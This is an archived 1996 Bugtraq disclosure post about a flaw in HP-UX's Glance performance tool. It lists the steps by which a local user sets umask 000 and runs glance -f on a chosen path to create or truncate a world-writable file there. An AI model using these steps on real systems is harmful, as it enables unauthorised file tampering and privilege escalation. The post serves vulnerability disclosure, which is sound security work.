[3386] in bugtraq
More on HP-UX Glance Vunerability.
daemon@ATHENA.MIT.EDU (John W. Jacobi)
Tue Sep 24 18:08:07 1996
Date: Mon, 23 Sep 1996 12:55:37 -0400
Reply-To: "John W. Jacobi" <jjacobi@nova.umuc.edu>
From: "John W. Jacobi" <jjacobi@nova.umuc.edu>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
Hi,
With regard to my message about HP-UX Glance it is simpler than I thought.
You need only do the following:
1. Log in as yourself.
2. Decide what file you want to create for world write.
3. do a umask 000
4. Then do /usr/perf/bin/glance -f <that_file>
5. After a few seconds, quit glance.
6. That file will now be there and world is writeable, now edit it.
7. If it previousle existed, it will be trunc'ed with orig perms.
John Jacobi
